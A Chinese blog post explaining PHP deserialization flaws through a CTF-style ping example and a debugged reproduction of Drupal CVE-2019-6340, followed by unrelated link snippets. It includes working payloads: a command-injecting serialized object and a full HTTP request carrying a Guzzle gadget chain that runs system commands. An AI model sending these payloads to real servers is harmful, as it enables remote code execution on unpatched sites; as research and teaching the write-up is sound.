PHP代码审计之反序列化攻击链CVE-2019-6340漏洞研究

关键词

         php 反序列化 cms Drupal CVE-2019-6340 DrupalKernel

前言

        简简单单介绍下php的反序列化漏洞

php反序列化漏洞简单示例

来看一段简单的php反序列化示例

<?php

class pingTest {
        public $ipAddress = "127.0.0.1";
        public $isValid = False;
        public $output = "";

        function validate() {
                if (!$this->isValid) {
                        if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
                        {
                                $this->isValid = True;
                        }
                }
                $this->ping();

        }

        public function ping()
        {
                if ($this->isValid) {
                        $this->output = shell_exec("ping -c 3 $this->ipAddress");
                }
        }

}

if (isset($_POST['obj'])) {
        $pingTest = unserialize(urldecode($_POST['obj']));
} else {
        $pingTest = new pingTest;
}

$pingTest->validate();

echo "<html>
<head>
<script src=\"http://secure.cereal.ctf:44441/php.js\"></script>
<script>
function submit_form() {
                var object = serialize({ipAddress: document.forms[\"ipform\"].ip.value});
                object = object.substr(object.indexOf(\"{\"),object.length);
                object = \"O:8:\\\"pingTest\\\":1:\" + object;
                document.forms[\"ipform\"].obj.value = object;
                document.getElementById('ipform').submit();
}
</script>
<link rel='stylesheet' href='http://secure.cereal.ctf:44441/style.css' media='all' />
<title>Ping Test</title>
</head>
<body>
<div class=\"form-body\">
<div class=\"row\">
    <div class=\"form-holder\">
        <div class=\"form-content\">
            <div class=\"form-items\">
                <h3>Ping Test</h3>

                <form method=\"POST\" action=\"/\" id=\"ipform\" onsubmit=\"submit_form();\" class=\"requires-validation\" novalidate>

                    <div class=\"col-md-12\">
                        <input name=\"obj\" type=\"hidden\" value=\"\">
                       <input class=\"form-control\" type=\"text\" name=\"ip\" placeholder=\"IP Address\" required>
                    </div>
                <br />
                    <div class=\"form-button mt-3\">
                        <input type=\"submit\" value=\"Ping!\">
                        <br /><br /><textarea>$pingTest->output</textarea>
                    </div>
                </form>
            </div>
        </div>
    </div>
</div>
</div>
</body>
</html>";

?>

这里接收一个名为obj的post 参数,对其进行unserialize,调用反序列化后对象的validate方法,不过之要isValid进行判断是true就可以执行shell_exec函数,并且里面的ipAddress是拼接上去的,我们可以用逻辑符造成任意命令执行。

反序列化的对象我们可以指定,那么对象之中的属性值我们自然也可以指定。注意这里说的是对象的的属性值,是基于类中有的。你若想加一个属性或者重写一个方法那指定不行(温习下php的反序列化)。

正常的用户的请求是这样的

Obj:O:8:"pingTest":1:{s:9:"ipAddress";s:9:"127.0.0.1";}

这里的0表示的对象(传参是对象),后面的8是指类名长度为8,1表示我有一个成员属性 s:9表示字符串有9个长度(ipaddress)

xxx;xxxx 代表一个key:val

攻击payload生成

<?php
  class pingTest {
        public $ipAddress = "127.0.0.1 | id";
        public $isValid = True;
        }
$obj = new pingTest();
echo serialize($obj);
?>

O:8:"pingTest":2:{s:9:"ipAddress";s:14:"127.0.0.1 | id";s:7:"isValid";b:1;}

如此一来就可以过if条件判断,可以执行命令id了

反序列化漏洞小知识

php是一个弱类型的语言,这里的弱是指什么意思呢!对比下C语言和java语言在声明变量的时候必须指定变量的数据类型,然而在其它一些语言上则根本不用这样做如python PHP,只需有一个变量名就可以存任意数据类型的参数,这点我很不喜欢,太不规范了,我想这也是照成=与==漏洞的原因吧,

回到PHP反序列化,为什么我要说这个机制呢,因为实际中(非ctf)都是对象中存储对象(像上面的$isValid只能存bool类型的值吗 当然不string int 甚至是一个对象它都可以存储),对象又再次存储对象呢。由此可能造成一条反序列化链。

此外还有属于PHP反序列化的魔术方法,这也很好理解。要在对对象建立后优先执行一些代码如初始化之类的,执行方法前去执行一些代码,对象用完后执行一些代码如销毁。这就是一个切面编程的思想(哈哈哈不知道它们谁先出现,也许程序员心有灵犀)。其中魔术方法会根据对象里的属性值去执行某种逻辑,或是判断或是调用。这里如果没有严格过滤,就有可能照成一条倒是命令执行利用链。

Drupalcms——CVE-2019-6340漏洞复现

版本影响Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 V contain certain field types that do not properly sanitize data from non-form sources, which can lead to arbitrary PHP code execution in some cases.

https://www.drupal.org/sa-core-2019-003icon-default.png?t=N7T8https://www.drupal.org/sa-core-2019-003

根据漏洞影响版本,我们下载8.6.9

https://www.drupal.org/project/drupal/releases/8.6.9icon-default.png?t=N7T8https://www.drupal.org/project/drupal/releases/8.6.9

安装cms

安装完成后,打开主页面

来到扩展 将web services 的所有扩展打开

payload 测试

POST /drupal-8.6.9/node/?_format=hal_json HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 642
Content-Type: application/hal+json
Accept-Encoding: gzip

{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:6:\"whoami\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href":"http://127.0.0.1/drupal-8.6.9/rest/type/shortcut/default"
    }
  }
}

 注意了options的内容为php序列化的内容,所以s:6:"whoami";s表示string参数类型,6表是长度为6,whoami就是我们执行的命令了,改成其他的命令记得把长度写发生响应的改变。

 结果显示whoami已经执行,权限是system的权限,这也是windows搭建web的弊端了!

CVE-2019-6340代码调试分析

打开index.php

<?php

/**
 * @file
 * The PHP page that serves all page requests on a Drupal installation.
 *
 * All Drupal code is released under the GNU General Public License.
 * See COPYRIGHT.txt and LICENSE.txt files in the "core" directory.
 */

use Drupal\Core\DrupalKernel;
//DrupalKernel 类是 Drupal 的核心引导类,负责初始化和管理整个 Drupal 应用程序的生命周期。
use Symfony\Component\HttpFoundation\Request;
//Symfony\Component\HttpFoundation\Request 类是 Symfony 框架中的一个组件,用于处理和封装 HTTP 请求。
$autoloader = require_once 'autoload.php';
$kernel = new DrupalKernel('prod', $autoloader);
// 加载 Drupal 的自动加载器和内核。
//$autoloader 是自动加载器对象,用于自动加载应用程序中的类文件

$request = Request::createFromGlobals();
// 创建一个新的 HTTP 请求对象。
//这个方法会自动获取当前请求的各种信息,如请求方法、URL、头部信息等,并将其封装在一个 Request 对象中


$response = $kernel->handle($request);
// 处理请求并获取响应对象。
//调用了 Drupal 内核对象的 handle() 方法,用于处理当前请求并生成一个响应对象。这个过程包括路由匹配、控制器调用、模板渲染等操作,具体实现方式可以参考 Drupal 的路由和控制器系统。

$response->send();
// 将响应内容发送给客户端。

$kernel->terminate($request, $response);
// 结束请求处理过程,清理资源。

打上断点 进入$response = $kernel->handle($request);

 public function handle(Request $request, $type = self::MASTER_REQUEST, $catch = TRUE) {
    // Ensure sane PHP environment variables.
    static::bootEnvironment();//调用 bootEnvironment() 方法来确保 PHP 环境变量的正确性。

    try {
      $this->initializeSettings($request);//尝试初始化设置(initializeSettings)。

      // Redirect the user to the installation script if Drupal has not been
      // installed yet (i.e., if no $databases array has been defined in the
      // settings.php file) and we are not already installing.
      if (!Database::getConnectionInfo() && !drupal_installation_attempted() && PHP_SAPI !== 'cli') {
        $response = new RedirectResponse($request->getBasePath() . '/core/install.php', 302, ['Cache-Control' => 'no-cache']);
      }//如果数据库连接信息不存在且没有进行 Drupal 安装尝试,并且不是在命令行环境下运行,则重定向用户到安装脚本(install.php)
      else {//否则,调用 boot() 方法进行启动,并调用 $this->getHttpKernel()->handle($request, $type, $catch) 处理请求
        $this->boot();
        $response = $this->getHttpKernel()->handle($request, $type, $catch);//断点进入
      }
    }
    catch (\Exception $e) {
      if ($catch === FALSE) {
        throw $e;
      }

      $response = $this->handleException($e, $request, $type);
    }

    // Adapt response headers to the current request.
    $response->prepare($request);

    return $response;
  }

中间省略......... 咱们直接来到

REST API request.部分

/**
 * Handles a REST API request.
 *
 * @param \Drupal\Core\Routing\RouteMatchInterface $route_match
 *   The route match.
 * @param \Symfony\Component\HttpFoundation\Request $request
 *   The HTTP request object.
 * @param \Drupal\rest\RestResourceConfigInterface $_rest_resource_config
 *   The REST resource config entity.
 *
 * @return \Drupal\rest\ResourceResponseInterface|\Symfony\Component\HttpFoundation\Response
 *   The REST resource response.
 */
public function handle(RouteMatchInterface $route_match, Request $request, RestResourceConfigInterface $_rest_resource_config) {
  $resource = $_rest_resource_config->getResourcePlugin();
    
  $unserialized = $this->deserialize($route_match, $request, $resource);//开始反序列化了打上断点进入调试
    
  $response = $this->delegateToRestResourcePlugin($route_match, $request, $unserialized, $resource);
  return $this->prepareResponse($response, $_rest_resource_config);
}

该方法是 Drupal REST API 模块的请求处理程序。它接收三个参数:RouteMatchInterface $route_match 表示当前路由匹配的对象,Request $request 表示当前 HTTP 请求对象,RestResourceConfigInterface $_rest_resource_config 表示当前的 REST 资源配置实体。

具体逻辑如下:

  • 首先,从 $rest_resource_config 中获取相应的资源插件(resource plugin)。

  • 然后,使用 $this->deserialize() 方法对请求中的数据进行反序列化,并将结果保存在 $unserialized 变量中。

  • 接下来,调用 $this->delegateToRestResourcePlugin() 方法委托给资源插件进行进一步的处理,并将结果保存在 $response 变量中。

  • 最后,使用 $this->prepareResponse() 方法对响应进行处理和准备,并将其返回。

需要注意的是,该方法中的 $this->deserialize()$this->delegateToRestResourcePlugin()$this->prepareResponse() 方法并未在该代码片段中定义,它们可能是该类的其他成员方法或从其他地方引入的依赖项。

总体上,该方法的作用是将 HTTP 请求委托给指定的 REST 资源插件进行处理,并返回处理后的响应。

进入deserialize函数

protected function deserialize(RouteMatchInterface $route_match, Request $request, ResourceInterface $resource) {
  // Deserialize incoming data if available.
  $received = $request->getContent();
//首先,从请求对象中获取请求的内容,并将其保存在 $received 变量中,这个变量可控
  $unserialized = NULL;
  if (!empty($received)) {
     //获取规范化的请求方法和请求内容类型。
    $method = static::getNormalizedRequestMethod($route_match);
    $format = $request->getContentType();//得到参数的方法 重点分析一下

     //从资源插件定义中获取相关信息。
    $definition = $resource->getPluginDefinition();

    // First decode the request data. We can then determine if the
    // serialized data was malformed.
    try {
      $unserialized = $this->serializer->decode($received, $format, ['request_method' => $method]);//断点进入
    }
    catch (UnexpectedValueException $e) {
      // If an exception was thrown at this stage, there was a problem
      // decoding the data. Throw a 400 http exception.
      throw new BadRequestHttpException($e->getMessage());
    }

    // Then attempt to denormalize if there is a serialization class.
    if (!empty($definition['serialization_class'])) {
      try {
        $unserialized = $this->serializer->denormalize($unserialized, $definition['serialization_class'], $format, ['request_method' => $method]);//断点分析
      }
      // These two serialization exception types mean there was a problem
      // with the structure of the decoded data and it's not valid.
      catch (UnexpectedValueException $e) {
        throw new UnprocessableEntityHttpException($e->getMessage());
      }
      catch (InvalidArgumentException $e) {
        throw new UnprocessableEntityHttpException($e->getMessage());
      }
    }
  }

  return $unserialized;
}

......

进入decodingImpl的decode方法

public function decode($data, $format, array $context = array())
{
     // 解析上下文参数
    $context = $this->resolveContext($context);

    // 从上下文中获取 JSON 解码时的相关参数
    $associative = $context['json_decode_associative'];
    $recursionDepth = $context['json_decode_recursion_depth'];
    $options = $context['json_decode_options'];

    // 使用 json_decode 函数对数据进行解码
    $decodedData = json_decode($data, $associative, $recursionDepth, $options);
/*将 $associative 参数设置为 true。这意味着解码结果将被转换为关联数组而不是对象
限制递归深度512
$options 参数来设置 JSON 解码选项
*/
	// 检查解码过程中是否出现错误
    if (JSON_ERROR_NONE !== json_last_error()) {
        throw new NotEncodableValueException(json_last_error_msg());
    }
  	// 返回解码后的数据
    return $decodedData;
}

.....

denormalize方法调入

//这段代码是Symfony框架的DenormalizerInterface接口方法denormalize()的实现。
public function denormalize($data, $type, $format = null, array $context = array())
{
    // 检查是否已注册至少一个normalizer
    if (!$this->normalizers) {
        throw new LogicException('You must register at least one normalizer to be able to denormalize objects.');
    }

    if ($normalizer = $this->getDenormalizer($data, $type, $format, $context)) {
        // 调用normalizer的denormalize方法进行反序列化操作
        return $normalizer->denormalize($data, $type, $format, $context);//断点调试
    }

    throw new NotNormalizableValueException(sprintf('Could not denormalize object of type %s, no supporting normalizer found.', $type));
}

进入

public function denormalize($data, $class, $format = NULL, array $context = []) {
  // Get type, necessary for determining which bundle to create.
  if (!isset($data['_links']['type'])) {
    throw new UnexpectedValueException('The type link relation must be specified.');
  }

  // Create the entity.
  $typed_data_ids = $this->getTypedDataIds($data['_links']['type'], $context);//断点分析 需要重点关注一下
    
  $entity_type = $this->getEntityTypeDefinition($typed_data_ids['entity_type']);
  $default_langcode_key = $entity_type->getKey('default_langcode');
  $langcode_key = $entity_type->getKey('langcode');
  $values = [];

  // Figure out the language to use.
  if (isset($data[$default_langcode_key])) {
    // Find the field item for which the default_langcode value is set to 1 and
    // set the langcode the right default language.
    foreach ($data[$default_langcode_key] as $item) {
      if (!empty($item['value']) && isset($item['lang'])) {
        $values[$langcode_key] = $item['lang'];
        break;
      }
    }
    // Remove the default langcode so it does not get iterated over below.
    unset($data[$default_langcode_key]);
  }

  if ($entity_type->hasKey('bundle')) {
    $bundle_key = $entity_type->getKey('bundle');
    $values[$bundle_key] = $typed_data_ids['bundle'];
    // Unset the bundle key from data, if it's there.
    unset($data[$bundle_key]);
  }

  $entity = $this->entityManager->getStorage($typed_data_ids['entity_type'])->create($values);

  // Remove links from data array.
  unset($data['_links']);
  // Get embedded resources and remove from data array.
  $embedded = [];
  if (isset($data['_embedded'])) {
    $embedded = $data['_embedded'];
    unset($data['_embedded']);
  }

  // Flatten the embedded values.
  foreach ($embedded as $relation => $field) {
    $field_ids = $this->linkManager->getRelationInternalIds($relation);
    if (!empty($field_ids)) {
      $field_name = $field_ids['field_name'];
      $data[$field_name] = $field;
    }
  }

  $this->denormalizeFieldData($data, $entity, $format, $context);//断点进入

  // Pass the names of the fields whose values can be merged.
  // @todo https://www.drupal.org/node/2456257 remove this.
  $entity->_restSubmittedFields = array_keys($data);

  return $entity;
}

.......

public function denormalize($data, $class, $format = NULL, array $context = []) {
  if (!isset($context['target_instance'])) {
    throw new InvalidArgumentException('$context[\'target_instance\'] must be set to denormalize with the FieldItemNormalizer');
  }
  if ($context['target_instance']->getParent() == NULL) {
    throw new InvalidArgumentException('The field item passed in via $context[\'target_instance\'] must have a parent set.');
  }

  $field_item = $context['target_instance'];

  // If this field is translatable, we need to create a translated instance.
  if (isset($data['lang'])) {
    $langcode = $data['lang'];
    unset($data['lang']);
    $field_definition = $field_item->getFieldDefinition();
    if ($field_definition->isTranslatable()) {
      $field_item = $this->createTranslatedInstance($field_item, $langcode);
    }
  }

  $field_item->setValue($this->constructValue($data, $context));
  return $field_item;
}

到setValue

public function setValue($values, $notify = TRUE) {
  // Treat the values as property value of the main property, if no array is
  // given.
  if (isset($values) && !is_array($values)) {
    $values = [static::mainPropertyName() => $values];
  }
  if (isset($values)) {
    $values += [
      'options' => [],
    ];
  }
  // Unserialize the values.
  // @todo The storage controller should take care of this, see
  //   SqlContentEntityStorage::loadFieldItems, see
  //   https://www.drupal.org/node/2414835
  if (is_string($values['options'])) {
    $values['options'] = unserialize($values['options']);//漏洞触发点
  }
  parent::setValue($values, $notify);
}

至此终于找到漏洞促发点了 !options为可控变量,对其进行unserialize 已经是反序列化漏洞形成的前提了,现在我们只需找出这在个cms库中存在的一条反序列化漏洞链就可以rce了

Guzzle库的序列化漏洞利用链

利用Drupal自带的Guzzle库

分析FnStream 类 与 HandlerStack类

class FnStream implements StreamInterface
{
    /** @var array */
    private $methods;

    /** @var array Methods that must be implemented in the given array */
    private static $slots = ['__toString', 'close', 'detach', 'rewind',
        'getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write',
        'isReadable', 'read', 'getContents', 'getMetadata'];

    /**
     * @param array $methods Hash of method name to a callable.
     */
    public function __construct(array $methods)
    {
        $this->methods = $methods;

        // Create the functions on the class
        foreach ($methods as $name => $fn) {
            $this->{'_fn_' . $name} = $fn;
        }
    }

    /**
     * Lazily determine which methods are not implemented.
     * @throws \BadMethodCallException
     */
    public function __get($name)
    {
        throw new \BadMethodCallException(str_replace('_fn_', '', $name)
            . '() is not implemented in the FnStream');
    }

    /**
     * The close method is called on the underlying stream only if possible.
     */
    public function __destruct()
    {
        if (isset($this->_fn_close)) {
            call_user_func($this->_fn_close);//反序列化可触发这个类
        }//call_user_func("resolve") 调用function
    }

    /**
     * Adds custom functionality to an underlying stream by intercepting
     * specific method calls.
     *
     * @param StreamInterface $stream  Stream to decorate
     * @param array           $methods Hash of method name to a closure
     *
     * @return FnStream
     */
    public static function decorate(StreamInterface $stream, array $methods)
    {
        // If any of the required methods were not provided, then simply
        // proxy to the decorated stream.
        foreach (array_diff(self::$slots, array_keys($methods)) as $diff) {
            $methods[$diff] = [$stream, $diff];
        }

        return new self($methods);
    }

    public function __toString()
    {
        return call_user_func($this->_fn___toString);
    }

    public function close()
    {
        return call_user_func($this->_fn_close);
    }

    public function detach()
    {
        return call_user_func($this->_fn_detach);
    }

    public function getSize()
    {
        return call_user_func($this->_fn_getSize);
    }

    public function tell()
    {
        return call_user_func($this->_fn_tell);
    }

    public function eof()
    {
        return call_user_func($this->_fn_eof);
    }

    public function isSeekable()
    {
        return call_user_func($this->_fn_isSeekable);
    }

    public function rewind()
    {
        call_user_func($this->_fn_rewind);
    }

    public function seek($offset, $whence = SEEK_SET)
    {
        call_user_func($this->_fn_seek, $offset, $whence);
    }

    public function isWritable()
    {
        return call_user_func($this->_fn_isWritable);
    }

    public function write($string)
    {
        return call_user_func($this->_fn_write, $string);
    }

    public function isReadable()
    {
        return call_user_func($this->_fn_isReadable);
    }

    public function read($length)
    {
        return call_user_func($this->_fn_read, $length);
    }

    public function getContents()
    {
        return call_user_func($this->_fn_getContents);
    }

    public function getMetadata($key = null)
    {
        return call_user_func($this->_fn_getMetadata, $key);
    }
}
class HandlerStack
{
    /** @var callable */
    private $handler;

    /** @var array */
    private $stack = [];

    /** @var callable|null */
    private $cached;

    ....

    /**
     * @param callable $handler Underlying HTTP handler.
     */
    public function __construct(callable $handler = null)
    {
        $this->handler = $handler;
    }

    /**
     * Invokes the handler stack as a composed handler
     *
     * @param RequestInterface $request
     * @param array            $options
     */
    public function __invoke(RequestInterface $request, array $options)
    {
        $handler = $this->resolve();

        return $handler($request, $options);
    }

  .........

    /**
     * Compose the middleware and handler into a single callable function.
     *
     * @return callable
     */
    public function resolve()
    {
        if (!$this->cached) {
            if (!($prev = $this->handler)) {
                throw new \LogicException('No handler has been specified');
            }

            foreach (array_reverse($this->stack) as $fn) {
                $prev = $fn[0]($prev);
            }

            $this->cached = $prev;
        }

        return $this->cached;
    }
......

若$fn[0]为system $prev 也可控则攻击链成立

"O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"\u0000GuzzleHttp\Psr7\FnStream\u0000methods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"\u0000GuzzleHttp\HandlerStack\u0000handler";s:70:"cmd.exe /c set /a 2089950217 - 1907099809&expr 2089950217 - 1907099809";s:30:"\u0000GuzzleHttp\HandlerStack\u0000stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000GuzzleHttp\HandlerStack\u0000cached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}"

"O:24:"GuzzleHttp\Psr7\FnStream"(类名24个长度):2(2个属性):{s:33:"\u0000GuzzleHttp\Psr7\FnStream\u0000methods"(第一个属性为FnStream类下的methods赋值为数组);a:1(数组一个):{s:5:"close"(key为close);a:2(value为数组属性有两个):{i:0(第一个为对象);O:23:"GuzzleHttp\HandlerStack":3(有三个属性成员):{s:32:"\u0000GuzzleHttp\HandlerStack\u0000handler(第一个为handler)";s:70:"cmd.exe /c set /a 2089950217 - 1907099809&expr 2089950217 - 1907099809";s:30:"\u0000GuzzleHttp\HandlerStack\u0000stack(第二个为stack是数组)";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000GuzzleHttp\HandlerStack\u0000cached";b:0;}i:1;s:7(第二个为字符串):"resolve";}}(结束)s:9:"fn_close"(第二个属性为fn_close);a:2:{i:0;r:4(引用类型);i:1;s:7:"resolve";}}(fn_close=resolve 调用resolve方法)"

大致长成这个样子

如此一来在call_user_func($this->_fn_close);的时候

就会调用resolve函数 按照机制优先从本类的funtion去寻找,没有找到会从引用的对象中找,这就找到了methods存储的对象中的方法,(PHP语言为弱类型一个变量名可存任意类型的数据)。于是乎来到了GuzzleHttp\HandlerStack对象下的resolve方法,当然这个对象的属性也是可控的,$stack为数组内有system字符串之后遍历到$fn,拼接($prev) $prev有本对象的$handler赋值,如此一来参数可控,php反序列化恶意链成立造成命令执行。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/268296.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

1979 年至今的每日地面气象数据AgERA5 (ECMWF) 数据集

AgERA5 (ECMWF) 数据集 1979 年至今的每日地面气象数据&#xff0c;作为农业和农业生态研究的输入。该数据集基于地表每小时 ECMWF ERA5 数据&#xff0c;称为 AgERA5。原始ERA5数据的采集和预处理是一项复杂且专业的工作。通过提供 AgERA5 数据集&#xff0c;用户可以从这项工…

基于Java (spring-boot)的仓库管理系统

一、项目介绍 本系统的使用者一共有系统管理员、仓库管理员和普通用户这3种角色: 1.系统管理员&#xff1a;通过登录系统后&#xff0c;可以进行管理员和用户信息的管理、仓库和物品分类的管理&#xff0c;以及操作日志的查询&#xff0c;具有全面的系统管理权限。 2.仓库管理…

CPP虚析构函数

#include<iostream> using namespace std;class base {public:base(){};virtual ~base(){}; };// 在类声明中声明纯虚析构函数 //base::~base() {}class father: public base {public:~father(){cout << "father" << endl;} };int main() {base* a…

沉浸式go-cache源码阅读!

大家好&#xff0c;我是豆小匠。 这期来阅读go-cache的源码&#xff0c;了解本地缓存的实现方式&#xff0c;同时掌握一些阅读源码的技巧~ 1. 源码获取 git clone https://github.com/patrickmn/go-cache.git用Goland打开可以看到真正实现功能的也就两个go文件&#xff0c;ca…

低代码平台表单引擎设计器

目录 一、前言 二、JNPF表单设计组成 功能一览&#xff1a; 三、低代码哲学 四、结语 一、前言 无论是构建SaaS产品&#xff0c;还是开发内部工具&#xff0c;甚至是服务于消费者的C端产品&#xff0c;表单始终是不可或缺的一环。作为支持用户提交信息的核心组件&#xff…

数学建模之聚类模型详解

聚类模型 引言 “物以类聚&#xff0c;人以群分”&#xff0c;所谓的聚类&#xff0c;就是将样本划分为由类似的对象组成的多个类的过程。聚类后&#xff0c;我们可以更加准确的在每个类中单独使用统计模型进行估计、分析或预测&#xff1b;也可以探究不同类之间的相关性和主…

员工考核UI网页界面(PS大屏文件资料)

现分享人员管理可视化数据统计网页UI、员工考核数据可视化UI网页界面模版的UI源文件&#xff0c;供UI设计师们快速获取PSD源文件完成工作。 若需更多 大屏组件&#xff0c;请移步小7的另一篇文章&#xff1a;数据可视化大屏组件&#xff0c;大屏PSD设计源文件(大屏UI设计规范)…

C++ 之LeetCode刷题记录(二)

&#x1f604;&#x1f60a;&#x1f606;&#x1f603;&#x1f604;&#x1f60a;&#x1f606;&#x1f603; 从今天开始cpp刷题之旅&#xff0c;多学多练&#xff0c;尽力而为。 先易后难&#xff0c;先刷简单的。 9、回文数 给你一个整数 x &#xff0c;如果 x 是一个…

MySQL的事务-原子性

MySQL的事务处理具有ACID的特性&#xff0c;即原子性&#xff08;Atomicity)、一致性&#xff08;Consistency&#xff09;、隔离性&#xff08;Isolation&#xff09;和持久性&#xff08;Durability&#xff09;。 1. 原子性指的是事务中所有操作都是原子性的&#xff0c;要…

从0开始python学习-35.allure报告企业定制

目录 1. 搭建allure环境 2. 生成报告 3. logo定制 4. 企业级报告内容或层级定制 5. allure局域网查看 1. 搭建allure环境 1.1 JDK&#xff0c;使用PyCharm 找到pycharm安装目录找到java.exe记下jbr目录的完整路径&#xff0c;eg: C:\Program Files\JetBrains\PyCharm Com…

有关List的线程安全、高效读取:不变模式下的CopyOnWriteArrayList类、数据共享通道:BlockingQueue

有关List的线程安全 队列、链表之类的数据结构也是极常用的&#xff0c;几乎所有的应用程序都会与之相关。在java中&#xff0c; ArrayList和Vector都使用数组作为其内部实现。两者最大的不同在与Vector是线程安全的。 而ArrayList不是。此外LinkedList使用链表的数据结构实现…

C/C++图形化编程(2)

归纳编程学习的感悟&#xff0c; 记录奋斗路上的点滴&#xff0c; 希望能帮到一样刻苦的你&#xff01; 如有不足欢迎指正&#xff01; 共同学习交流&#xff01; &#x1f30e;欢迎各位→点赞 &#x1f44d; 收藏⭐ 留言​&#x1f4dd; 站在巨人的肩上是为了超过巨人&#x…

040、全卷积

之——FCN 目录 之——FCN 杂谈 正文 1.FCN 2.实现 杂谈 FCN&#xff08;Fully Convolutional Network&#xff09;是一种深度学习网络架构&#xff0c;专门设计用于语义分割任务。传统的深度学习网络如卷积神经网络&#xff08;CNN&#xff09;在处理图像时通常用于分类…

Spring Boot学习随笔- 第一个Thymeleaf应用(基础语法th:,request、session作用域取值)

学习视频&#xff1a;【编程不良人】2021年SpringBoot最新最全教程 第十五章、Thymeleaf Thymeleaf是一种现代化的服务器端Java模板引擎&#xff0c;专门用于Web和独立环境。Thymeleaf在有网络和无网络的环境下皆可运行&#xff0c;即可以让美工在浏览器查看页面的静态效果&am…

2023年12月16日~12月22日(自适应反馈机制下基于卷积神经网络的高清晰反射波反演算法:CNN-RWI)

标题&#xff1a;Adaptive Feedback Convolutional-Neural-Network-Based High-Resolution Reflection-Waveform Inversion 全波形反演&#xff08;FWI&#xff09;是一种非线性拟合观测地震记录从而获得高清晰速度模型的最优化算法。FWI能够通过拟合浅层初至波和反射波获得较准…

1.数字反转

题目 AC import java.util.Scanner;public class Main {public static void main(String[] args) {Scanner sc new Scanner(System.in);int n sc.nextInt();if(n>0) {StringBuilder str new StringBuilder();str.append(n);StringBuilder str1 str.reverse();String st…

视频号小店无货源怎么做?难不难?一篇文章告诉你答案!

大家好&#xff0c;我是电商糖果 视频号从去年开始做电商&#xff0c;就有朋友问过糖果可以做无货源模式吗&#xff1f; 糖果做无货源电商已经七年了&#xff0c;做过天猫&#xff0c;京东&#xff0c;闲鱼&#xff0c;抖音小店。 根据糖果这些年做电商总结出来的经验&#…

机密计算容器前沿探索与 AI 场景应用

作者&#xff1a;壮怀、朱江云 企业与个人对数据隐私保护日益关切&#xff0c;从数据&#xff0c;网络的可信基础设施扩展到闭环可信的计算基础设施&#xff0c;可信的计算&#xff0c;存储&#xff0c; 网络基础设施必定成为云计算的标配。 机密计算技术应运而生&#xff0c;…

EFCore8分析类图映射到代码和数据库的示例

借用微软EFCore8官方的示例&#xff0c;我画了张类图&#xff1a; blog&#xff08;博客&#xff09;与Post&#xff08;文章&#xff09;是1对多的关系&#xff0c;显式表达出两者间是双向导航&#xff1a;双方都可见。 Post&#xff08;文章&#xff09;与Tag&#xff08;标…

python(上半部分)

第一部分 1、input()语句默认结果是字符串 2、type()可以判断变量的类型 3、input()输出语句 &#xff08;默认为字符串类型&#xff09; 4、命名规则&#xff1a;中文、英文、数字、_&#xff0c;数字不可开头&#xff0c;大小写敏感。 5、 %s&#xff1a;将内容转换成…